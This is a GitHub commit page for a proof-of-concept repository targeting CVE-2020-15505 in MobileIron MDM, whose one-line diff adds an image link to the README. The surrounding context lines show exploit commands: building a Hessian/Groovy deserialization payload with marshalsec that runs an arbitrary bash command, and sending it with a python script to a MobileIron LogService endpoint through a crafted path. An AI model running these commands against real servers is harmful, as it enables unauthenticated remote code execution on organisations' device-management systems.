Adding Deserialization POC

httpvoid · Sep 21, 2020 · 7e513ea · 7e513ea
1 parent 966aabd
commit 7e513ea
Showing 1 changed file with 1 addition and 0 deletions.
diff --git a/CVE-2020-15505/README.md b/CVE-2020-15505/README.md
@@ -6,6 +6,7 @@
 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" "<Command>" > exp.ser
 python hessian.py -u 'https://mobileiron-mdm-instance/mifs/.;/services/LogService' -p exp.ser
 ``` 
+![PoC2](deserpoc.png)
 
 ### Local JNDI Injection
 ```bash